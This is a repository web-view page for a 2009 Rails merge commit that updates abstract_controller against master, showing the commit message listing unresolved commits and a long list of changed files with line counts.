aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorCarl Lerche & Yehuda Katz <wycats@gmail.com>2009-04-13 15:18:45 -0700
committerCarl Lerche & Yehuda Katz <wycats@gmail.com>2009-04-13 15:18:45 -0700
commit906aebceedb95d8caa6db6314bc90f605bdfaf2b (patch)
tree5abc86bb6709b20df7cb5f4d1750b27c641dca4b
parent2036d3ba75da1a0f3061bf5a33c89e2b2eaff420 (diff)
parentc877857d59554d78dbf45f5f9fcaafb8badec4e2 (diff)
downloadrails-906aebceedb95d8caa6db6314bc90f605bdfaf2b.tar.gz
rails-906aebceedb95d8caa6db6314bc90f605bdfaf2b.tar.bz2
rails-906aebceedb95d8caa6db6314bc90f605bdfaf2b.zip
Bring abstract_controller up to date with rails/master
Resolved all the conflicts since 2.3.0 -> HEAD. Following is a list of commits that could not be applied cleanly or are obviated with the abstract_controller refactor. They all need to be revisited to ensure that fixes made in 2.3 do not reappear in 3.0: 2259ecf368e6a6715966f69216e3ee86bf1a82a7 AR not available * This will be reimplemented with ActionORM or equivalent 06182ea02e92afad579998aa80144588e8865ac3 implicitly rendering a js response should not use the default layout [#1844 state:resolved] * This will be handled generically 893e9eb99504705419ad6edac14d00e71cef5f12 Improve view rendering performance in development mode and reinstate template recompiling in production [#1909 state:resolved] * We will need to reimplement rails-dev-boost on top of the refactor; the changes here are very implementation specific and cannot be cleanly applied. The following commits are implicated: 199e750d46c04970b5e7684998d09405648ecbd4 3942cb406e1d5db0ac00e03153809cc8dc4cc4db f8ea9f85d4f1e3e6f3b5d895bef6b013aa4b0690 e3b166aab37ddc2fbab030b146eb61713b91bf55 ae9f258e03c9fd5088da12c1c6cd216cc89a01f7 44423126c6f6133a1d9cf1d0832b527e8711d40f 0cb020b4d6d838025859bd60fb8151c8e21b8e84 workaround for picking layouts based on wrong view_paths [#1974 state:resolved] * The specifics of this commit no longer apply. Since it is a two-line commit, we will reimplement this change. 8c5cc66a831aadb159f3daaffa4208064c30af0e make action_controller/layouts pick templates from the current instance's view_paths instead of the class view_paths [#1974 state:resolved] * This does not apply at all. It should be trivial to apply the feature to the reimplemented ActionController::Base. 87e8b162463f13bd50d27398f020769460a770e3 fix HTML fallback for explicit templates [#2052 state:resolved] * There were a number of patches related to this that simply compounded each other. Basically none of them apply cleanly, and the underlying issue needs to be revisited. After discussing the underlying problem with Koz, we will defer these fixes for further discussion.
-rw-r--r--.gitignore1
-rw-r--r--actionmailer/CHANGELOG4
-rw-r--r--actionmailer/Rakefile2
-rw-r--r--actionmailer/lib/action_mailer.rb3
-rw-r--r--actionmailer/lib/action_mailer/base.rb8
-rw-r--r--actionmailer/lib/action_mailer/part.rb5
-rwxr-xr-xactionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb2
-rw-r--r--actionmailer/lib/action_mailer/version.rb2
-rw-r--r--actionmailer/test/abstract_unit.rb12
-rw-r--r--actionmailer/test/mail_layout_test.rb30
-rw-r--r--actionmailer/test/mail_service_test.rb8
-rw-r--r--actionmailer/test/test_helper_test.rb8
-rw-r--r--actionpack/CHANGELOG33
-rw-r--r--actionpack/Rakefile3
-rw-r--r--actionpack/lib/action_controller.rb11
-rw-r--r--actionpack/lib/action_controller/base/base.rb50
-rw-r--r--actionpack/lib/action_controller/base/cookies.rb2
-rw-r--r--actionpack/lib/action_controller/base/http_authentication.rb72
-rw-r--r--actionpack/lib/action_controller/base/redirect.rb2
-rw-r--r--actionpack/lib/action_controller/base/render.rb18
-rw-r--r--actionpack/lib/action_controller/base/responder.rb1
-rw-r--r--actionpack/lib/action_controller/base/streaming.rb16
-rw-r--r--actionpack/lib/action_controller/base/verification.rb2
-rw-r--r--actionpack/lib/action_controller/caching.rb1
-rw-r--r--actionpack/lib/action_controller/caching/actions.rb27
-rw-r--r--actionpack/lib/action_controller/cgi/process.rb5
-rw-r--r--actionpack/lib/action_controller/dispatch/dispatcher.rb52
-rw-r--r--actionpack/lib/action_controller/dispatch/middlewares.rb14
-rw-r--r--actionpack/lib/action_controller/dispatch/rescue.rb16
-rw-r--r--actionpack/lib/action_controller/reloader.rb14
-rw-r--r--actionpack/lib/action_controller/routing.rb2
-rw-r--r--actionpack/lib/action_controller/routing/builder.rb3
-rw-r--r--actionpack/lib/action_controller/routing/generation/polymorphic_routes.rb7
-rw-r--r--actionpack/lib/action_controller/routing/generation/url_rewriter.rb22
-rw-r--r--actionpack/lib/action_controller/routing/recognition_optimisation.rb1
-rw-r--r--actionpack/lib/action_controller/routing/resources.rb50
-rw-r--r--actionpack/lib/action_controller/routing/segments.rb46
-rw-r--r--actionpack/lib/action_controller/testing/integration.rb25
-rw-r--r--actionpack/lib/action_controller/testing/process.rb22
-rw-r--r--actionpack/lib/action_controller/testing/test_case.rb13
-rw-r--r--actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb2
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack.rb89
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/adapter/camping.rb22
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/handler.rb37
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/request.rb37
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/basic.rb58
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/md5.rb124
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/nonce.rb51
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/params.rb55
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/request.rb40
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/openid.rb480
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/builder.rb63
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/cascade.rb36
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/chunked.rb49
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/commonlogger.rb61
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/conditionalget.rb45
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/content_length.rb29
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/content_type.rb23
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/deflater.rb85
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/directory.rb153
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb88
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/handler.rb48
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb61
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/evented_mongrel.rb8
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb89
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb55
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb84
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb59
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/swiftiplied_mongrel.rb8
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/thin.rb18
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb67
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/head.rb19
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb462
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/lobster.rb65
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/lock.rb16
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/methodoverride.rb27
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/mime.rb204
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/mock.rb160
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/recursive.rb57
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/reloader.rb64
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/request.rb241
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/response.rb179
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/session/abstract/id.rb142
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/session/cookie.rb91
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/session/memcache.rb109
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/session/pool.rb100
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/showexceptions.rb349
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/showstatus.rb106
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/static.rb38
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb55
-rw-r--r--actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb392
-rwxr-xr-xactionpack/lib/action_dispatch/http/request.rb34
-rw-r--r--actionpack/lib/action_dispatch/http/response.rb80
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/abstract_store.rb61
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/cookie_store.rb13
-rw-r--r--actionpack/lib/action_dispatch/rack.rb6
-rw-r--r--actionpack/lib/action_dispatch/rack/lock.rb21
-rw-r--r--actionpack/lib/action_dispatch/rack/multipart.rb22
-rw-r--r--actionpack/lib/action_dispatch/rack/parse_query.rb18
-rw-r--r--actionpack/lib/action_dispatch/utils/middleware_stack.rb16
-rw-r--r--actionpack/lib/action_dispatch/utils/url_encoded_pair_parser.rb155
-rw-r--r--actionpack/lib/action_pack/version.rb2
-rw-r--r--actionpack/lib/action_view/base.rb33
-rw-r--r--actionpack/lib/action_view/helpers/active_record_helper.rb6
-rw-r--r--actionpack/lib/action_view/helpers/asset_tag_helper.rb3
-rw-r--r--actionpack/lib/action_view/helpers/atom_feed_helper.rb2
-rw-r--r--actionpack/lib/action_view/helpers/capture_helper.rb8
-rw-r--r--actionpack/lib/action_view/helpers/date_helper.rb6
-rw-r--r--actionpack/lib/action_view/helpers/form_helper.rb384
-rw-r--r--actionpack/lib/action_view/helpers/form_options_helper.rb107
-rw-r--r--actionpack/lib/action_view/helpers/form_tag_helper.rb4
-rw-r--r--actionpack/lib/action_view/helpers/number_helper.rb6
-rw-r--r--actionpack/lib/action_view/helpers/prototype_helper.rb2
-rw-r--r--actionpack/lib/action_view/helpers/text_helper.rb13
-rw-r--r--actionpack/lib/action_view/helpers/translation_helper.rb20
-rw-r--r--actionpack/lib/action_view/helpers/url_helper.rb27
-rw-r--r--actionpack/lib/action_view/paths.rb16
-rw-r--r--actionpack/lib/action_view/render/rendering.rb25
-rw-r--r--actionpack/lib/action_view/template/renderable.rb2
-rw-r--r--actionpack/lib/action_view/template/template.rb55
-rw-r--r--actionpack/test/abstract_unit.rb9
-rw-r--r--actionpack/test/active_record_unit.rb3
-rw-r--r--actionpack/test/activerecord/active_record_store_test.rb77
-rw-r--r--actionpack/test/activerecord/render_partial_with_record_identification_test.rb4
-rw-r--r--actionpack/test/controller/assert_select_test.rb61
-rw-r--r--actionpack/test/controller/caching_test.rb38
-rw-r--r--actionpack/test/controller/cookie_test.rb12
-rw-r--r--actionpack/test/controller/dispatcher_test.rb17
-rw-r--r--actionpack/test/controller/fake_models.rb8
-rw-r--r--actionpack/test/controller/html-scanner/document_test.rb2
-rw-r--r--actionpack/test/controller/http_digest_authentication_test.rb58
-rw-r--r--actionpack/test/controller/integration_test.rb26
-rw-r--r--actionpack/test/controller/layout_test.rb25
-rw-r--r--actionpack/test/controller/mime_responds_test.rb2
-rw-r--r--actionpack/test/controller/polymorphic_routes_test.rb391
-rw-r--r--actionpack/test/controller/redirect_test.rb4
-rw-r--r--actionpack/test/controller/render_test.rb127
-rw-r--r--actionpack/test/controller/request/test_request_test.rb35
-rw-r--r--actionpack/test/controller/request_forgery_protection_test.rb18
-rw-r--r--actionpack/test/controller/rescue_test.rb21
-rw-r--r--actionpack/test/controller/resources_test.rb127
-rw-r--r--actionpack/test/controller/routing_test.rb2850
-rw-r--r--actionpack/test/controller/selector_test.rb6
-rw-r--r--actionpack/test/controller/send_file_test.rb6
-rw-r--r--actionpack/test/controller/session/cookie_store_test.rb43
-rw-r--r--actionpack/test/controller/session/mem_cache_store_test.rb45
-rw-r--r--actionpack/test/controller/session/test_session_test.rb2
-rw-r--r--actionpack/test/controller/test_test.rb8
-rw-r--r--actionpack/test/controller/url_rewriter_test.rb2
-rw-r--r--actionpack/test/dispatch/middleware_stack_test.rb14
-rw-r--r--actionpack/test/dispatch/rack_test.rb24
-rw-r--r--actionpack/test/dispatch/request/multipart_params_parsing_test.rb2
-rw-r--r--actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb36
-rw-r--r--actionpack/test/dispatch/request_test.rb456
-rw-r--r--actionpack/test/fixtures/layout_tests/alt/layouts/alt.rhtml0
-rw-r--r--actionpack/test/fixtures/layouts/xhr.html.erb2
-rw-r--r--actionpack/test/fixtures/public/500.da.html1
-rw-r--r--actionpack/test/fixtures/quiz/questions/_question.html.erb1
-rw-r--r--actionpack/test/fixtures/test/hello_world.erb~1
-rw-r--r--actionpack/test/fixtures/test/hello_world.pt-BR.html.erb1
-rw-r--r--actionpack/test/fixtures/test/malformed/malformed.en.html.erb~1
-rw-r--r--actionpack/test/fixtures/test/malformed/malformed.erb~1
-rw-r--r--actionpack/test/fixtures/test/malformed/malformed.html.erb~1
-rw-r--r--actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb1
-rw-r--r--actionpack/test/fixtures/test/utf8.html.erb2
-rw-r--r--actionpack/test/template/active_record_helper_i18n_test.rb77
-rw-r--r--actionpack/test/template/active_record_helper_test.rb34
-rw-r--r--actionpack/test/template/asset_tag_helper_test.rb26
-rw-r--r--actionpack/test/template/body_parts_test.rb22
-rw-r--r--actionpack/test/template/compiled_templates_test.rb134
-rw-r--r--actionpack/test/template/date_helper_i18n_test.rb176
-rw-r--r--actionpack/test/template/date_helper_test.rb94
-rw-r--r--actionpack/test/template/form_helper_test.rb285
-rw-r--r--actionpack/test/template/form_options_helper_test.rb1230
-rw-r--r--actionpack/test/template/form_tag_helper_test.rb11
-rw-r--r--actionpack/test/template/javascript_helper_test.rb5
-rw-r--r--actionpack/test/template/number_helper_i18n_test.rb108
-rw-r--r--actionpack/test/template/number_helper_test.rb1
-rw-r--r--actionpack/test/template/output_buffer_test.rb35
-rw-r--r--actionpack/test/template/render_test.rb59
-rw-r--r--actionpack/test/template/test_test.rb10
-rw-r--r--actionpack/test/template/text_helper_test.rb6
-rw-r--r--actionpack/test/template/translation_helper_test.rb42
-rw-r--r--actionpack/test/template/url_helper_test.rb37
-rw-r--r--activemodel/lib/active_model/validations/inclusion.rb2
-rw-r--r--activemodel/test/state_machine/event_test.rb2
-rw-r--r--activerecord/CHANGELOG15
-rw-r--r--activerecord/Rakefile6
-rw-r--r--activerecord/lib/active_record.rb3
-rwxr-xr-xactiverecord/lib/active_record/associations.rb312
-rw-r--r--activerecord/lib/active_record/associations/association_collection.rb57
-rw-r--r--activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb4
-rw-r--r--activerecord/lib/active_record/associations/has_many_association.rb4
-rw-r--r--activerecord/lib/active_record/associations/has_many_through_association.rb10
-rw-r--r--activerecord/lib/active_record/associations/has_one_association.rb13
-rw-r--r--activerecord/lib/active_record/attribute_methods.rb1
-rw-r--r--activerecord/lib/active_record/autosave_association.rb349
-rwxr-xr-xactiverecord/lib/active_record/base.rb98
-rw-r--r--activerecord/lib/active_record/batches.rb81
-rw-r--r--activerecord/lib/active_record/calculations.rb26
-rw-r--r--activerecord/lib/active_record/callbacks.rb38
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb16
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb1
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb31
-rw-r--r--activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb64
-rw-r--r--activerecord/lib/active_record/fixtures.rb103
-rw-r--r--activerecord/lib/active_record/locking/optimistic.rb33
-rw-r--r--activerecord/lib/active_record/migration.rb6
-rw-r--r--activerecord/lib/active_record/named_scope.rb30
-rw-r--r--activerecord/lib/active_record/nested_attributes.rb329
-rw-r--r--activerecord/lib/active_record/reflection.rb7
-rw-r--r--activerecord/lib/active_record/serializers/json_serializer.rb19
-rw-r--r--activerecord/lib/active_record/serializers/xml_serializer.rb18
-rw-r--r--activerecord/lib/active_record/session_store.rb14
-rw-r--r--activerecord/lib/active_record/test_case.rb14
-rw-r--r--activerecord/lib/active_record/transactions.rb2
-rw-r--r--activerecord/lib/active_record/validations.rb28
-rw-r--r--activerecord/lib/active_record/version.rb2
-rw-r--r--activerecord/test/cases/associations/belongs_to_associations_test.rb166
-rw-r--r--activerecord/test/cases/associations/eager_load_nested_include_test.rb29
-rw-r--r--activerecord/test/cases/associations/eager_test.rb8
-rw-r--r--activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb47
-rw-r--r--activerecord/test/cases/associations/has_many_associations_test.rb232
-rw-r--r--activerecord/test/cases/associations/has_many_through_associations_test.rb39
-rw-r--r--activerecord/test/cases/associations/has_one_associations_test.rb131
-rw-r--r--activerecord/test/cases/associations/has_one_through_associations_test.rb20
-rw-r--r--activerecord/test/cases/associations/join_model_test.rb12
-rw-r--r--activerecord/test/cases/attribute_methods_test.rb14
-rw-r--r--activerecord/test/cases/autosave_association_test.rb901
-rwxr-xr-xactiverecord/test/cases/base_test.rb44
-rw-r--r--activerecord/test/cases/batches_test.rb61
-rw-r--r--activerecord/test/cases/calculations_test.rb55
-rw-r--r--activerecord/test/cases/callbacks_test.rb4
-rw-r--r--activerecord/test/cases/connection_pool_test.rb25
-rw-r--r--activerecord/test/cases/datatype_test_postgresql.rb1
-rw-r--r--activerecord/test/cases/dirty_test.rb4
-rw-r--r--activerecord/test/cases/finder_test.rb116
-rw-r--r--activerecord/test/cases/fixtures_test.rb34
-rw-r--r--activerecord/test/cases/helper.rb13
-rw-r--r--activerecord/test/cases/inheritance_test.rb4
-rw-r--r--activerecord/test/cases/locking_test.rb28
-rw-r--r--activerecord/test/cases/method_scoping_test.rb46
-rw-r--r--activerecord/test/cases/migration_test.rb490
-rw-r--r--activerecord/test/cases/named_scope_test.rb55
-rw-r--r--activerecord/test/cases/nested_attributes_test.rb509
-rw-r--r--activerecord/test/cases/query_cache_test.rb4
-rw-r--r--activerecord/test/cases/reflection_test.rb16
-rw-r--r--activerecord/test/cases/schema_test_postgresql.rb44
-rw-r--r--activerecord/test/cases/transactions_test.rb49
-rw-r--r--activerecord/test/cases/validations_i18n_test.rb580
-rw-r--r--activerecord/test/cases/validations_test.rb61
-rw-r--r--activerecord/test/cases/xml_serialization_test.rb13
-rw-r--r--activerecord/test/fixtures/toys.yml4
-rw-r--r--activerecord/test/models/bird.rb3
-rw-r--r--activerecord/test/models/company.rb2
-rw-r--r--activerecord/test/models/event.rb3
-rw-r--r--activerecord/test/models/owner.rb3
-rw-r--r--activerecord/test/models/parrot.rb2
-rw-r--r--activerecord/test/models/pet.rb3
-rw-r--r--activerecord/test/models/pirate.rb56
-rw-r--r--activerecord/test/models/post.rb6
-rw-r--r--activerecord/test/models/reply.rb6
-rw-r--r--activerecord/test/models/ship.rb9
-rw-r--r--activerecord/test/models/ship_part.rb5
-rw-r--r--activerecord/test/models/topic.rb12
-rw-r--r--activerecord/test/models/toy.rb4
-rw-r--r--activerecord/test/schema/schema.rb20
-rw-r--r--activeresource/CHANGELOG5
-rw-r--r--activeresource/README14
-rw-r--r--activeresource/Rakefile4
-rw-r--r--activeresource/lib/active_resource/base.rb32
-rw-r--r--activeresource/lib/active_resource/connection.rb22
-rw-r--r--activeresource/lib/active_resource/http_mock.rb66
-rw-r--r--activeresource/lib/active_resource/validations.rb19
-rw-r--r--activeresource/lib/active_resource/version.rb2
-rw-r--r--activeresource/test/abstract_unit.rb13
-rw-r--r--activeresource/test/authorization_test.rb8
-rw-r--r--activeresource/test/base_test.rb22
-rw-r--r--activeresource/test/connection_test.rb28
-rw-r--r--activeresource/test/setter_trap.rb5
-rw-r--r--activesupport/CHANGELOG24
-rw-r--r--activesupport/lib/active_support/cache/strategy/local_cache.rb5
-rw-r--r--activesupport/lib/active_support/core_ext/array.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/array/conversions.rb23
-rw-r--r--activesupport/lib/active_support/core_ext/array/wrapper.rb24
-rw-r--r--activesupport/lib/active_support/core_ext/date/calculations.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/file/atomic.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/hash/conversions.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/hash/indifferent_access.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/string/inflections.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/time/calculations.rb14
-rw-r--r--activesupport/lib/active_support/core_ext/time/conversions.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/try.rb14
-rw-r--r--activesupport/lib/active_support/core_ext/uri.rb16
-rw-r--r--activesupport/lib/active_support/duration.rb2
-rw-r--r--activesupport/lib/active_support/inflections.rb1
-rw-r--r--activesupport/lib/active_support/inflector.rb14
-rw-r--r--activesupport/lib/active_support/json/decoding.rb25
-rw-r--r--activesupport/lib/active_support/json/encoders/hash.rb19
-rw-r--r--activesupport/lib/active_support/memoizable.rb4
-rw-r--r--activesupport/lib/active_support/multibyte/chars.rb18
-rw-r--r--activesupport/lib/active_support/ordered_hash.rb4
-rw-r--r--activesupport/lib/active_support/test_case.rb2
-rw-r--r--activesupport/lib/active_support/testing/assertions.rb18
-rw-r--r--activesupport/lib/active_support/testing/core_ext/test.rb6
-rw-r--r--activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb72
-rw-r--r--activesupport/lib/active_support/testing/setup_and_teardown.rb9
-rw-r--r--activesupport/lib/active_support/time_with_zone.rb10
-rw-r--r--activesupport/lib/active_support/vendor.rb8
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore3
-rwxr-xr-xactivesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/MIT-LICENSE)0
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/README.textile (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/README.textile)0
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/Rakefile (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/Rakefile)0
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/i18n.gemspec (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec)4
-rwxr-xr-xactivesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n.rb)0
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/backend/simple.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/backend/simple.rb)10
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/exceptions.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/exceptions.rb)0
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/test/all.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/test/all.rb)0
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_exceptions_test.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_exceptions_test.rb)0
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_test.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_test.rb)4
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.rb)0
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.yml (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.yml)0
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.3/test/simple_backend_test.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb)68
-rw-r--r--activesupport/lib/active_support/vendor/memcache-client-1.6.5/memcache.rb (renamed from activesupport/lib/active_support/vendor/memcache-client-1.5.0.5/memcache.rb)325
-rw-r--r--activesupport/lib/active_support/version.rb2
-rw-r--r--activesupport/lib/active_support/xml_mini.rb126
-rw-r--r--activesupport/lib/active_support/xml_mini/libxml.rb133
-rw-r--r--activesupport/lib/active_support/xml_mini/nokogiri.rb77
-rw-r--r--activesupport/lib/active_support/xml_mini/rexml.rb108
-rw-r--r--activesupport/test/abstract_unit.rb3
-rw-r--r--activesupport/test/core_ext/array_ext_test.rb52
-rw-r--r--activesupport/test/core_ext/class_test.rb6
-rw-r--r--activesupport/test/core_ext/date_ext_test.rb12
-rw-r--r--activesupport/test/core_ext/duration_test.rb36
-rw-r--r--activesupport/test/core_ext/hash_ext_test.rb26
-rw-r--r--activesupport/test/core_ext/load_error_test.rb4
-rw-r--r--activesupport/test/core_ext/module/synchronization_test.rb4
-rw-r--r--activesupport/test/core_ext/module_test.rb10
-rw-r--r--activesupport/test/core_ext/object_and_class_ext_test.rb4
-rw-r--r--activesupport/test/core_ext/string_ext_test.rb18
-rw-r--r--activesupport/test/core_ext/time_ext_test.rb77
-rw-r--r--activesupport/test/core_ext/time_with_zone_test.rb422
-rw-r--r--activesupport/test/core_ext/uri_ext_test.rb12
-rw-r--r--activesupport/test/dependencies_test.rb22
-rw-r--r--activesupport/test/inflector_test.rb14
-rw-r--r--activesupport/test/inflector_test_cases.rb19
-rw-r--r--activesupport/test/json/decoding_test.rb11
-rw-r--r--activesupport/test/json/encoding_test.rb2
-rw-r--r--activesupport/test/memoizable_test.rb32
-rw-r--r--activesupport/test/message_encryptor_test.rb2
-rw-r--r--activesupport/test/message_verifier_test.rb2
-rw-r--r--activesupport/test/multibyte_chars_test.rb48
-rw-r--r--activesupport/test/ordered_hash_test.rb14
-rw-r--r--activesupport/test/string_inquirer_test.rb2
-rw-r--r--activesupport/test/test_test.rb7
-rw-r--r--activesupport/test/time_zone_test.rb94
-rw-r--r--activesupport/test/xml_mini/nokogiri_engine_test.rb157
-rw-r--r--activesupport/test/xml_mini/rexml_engine_test.rb15
-rwxr-xr-xci/ci_build.rb4
-rw-r--r--ci/geminstaller.yml2
-rw-r--r--railties/CHANGELOG8
-rw-r--r--railties/Rakefile92
-rw-r--r--railties/builtin/rails_info/rails/info.rb15
-rw-r--r--railties/builtin/rails_info/rails/info_controller.rb2
-rw-r--r--railties/configs/databases/mysql.yml3
-rw-r--r--railties/configs/initializers/backtrace_silencers.rb2
-rw-r--r--railties/doc/guides/asciidoc.conf26
-rw-r--r--railties/doc/guides/html/2_2_release_notes.html1006
-rw-r--r--railties/doc/guides/html/action_mailer_basics.html197
-rw-r--r--railties/doc/guides/html/actioncontroller_basics.html1036
-rw-r--r--railties/doc/guides/html/active_record_querying.html932
-rw-r--r--railties/doc/guides/html/activerecord_validations_callbacks.html1231
-rw-r--r--railties/doc/guides/html/association_basics.html2315
-rw-r--r--railties/doc/guides/html/authors.html87
-rw-r--r--railties/doc/guides/html/caching_with_rails.html480
-rw-r--r--railties/doc/guides/html/command_line.html476
-rw-r--r--railties/doc/guides/html/configuring.html352
-rw-r--r--railties/doc/guides/html/creating_plugins.html1696
-rw-r--r--railties/doc/guides/html/debugging_rails_applications.html992
-rw-r--r--railties/doc/guides/html/form_helpers.html970
-rw-r--r--railties/doc/guides/html/getting_started_with_rails.html1744
-rw-r--r--railties/doc/guides/html/i18n.html858
-rw-r--r--railties/doc/guides/html/index.html222
-rw-r--r--railties/doc/guides/html/layouts_and_rendering.html1278
-rw-r--r--railties/doc/guides/html/migrations.html731
-rw-r--r--railties/doc/guides/html/performance_testing.html728
-rw-r--r--railties/doc/guides/html/rails_on_rack.html450
-rw-r--r--railties/doc/guides/html/routing_outside_in.html1591
-rw-r--r--railties/doc/guides/html/security.html1153
-rw-r--r--railties/doc/guides/html/testing_rails_applications.html1551
-rw-r--r--railties/doc/guides/source/action_mailer_basics.txt133
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/changelog.txt5
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/cookies.txt34
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/csrf.txt32
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/filters.txt119
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/http_auth.txt24
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/index.txt40
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/introduction.txt9
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/methods.txt39
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt14
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/params.txt93
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt43
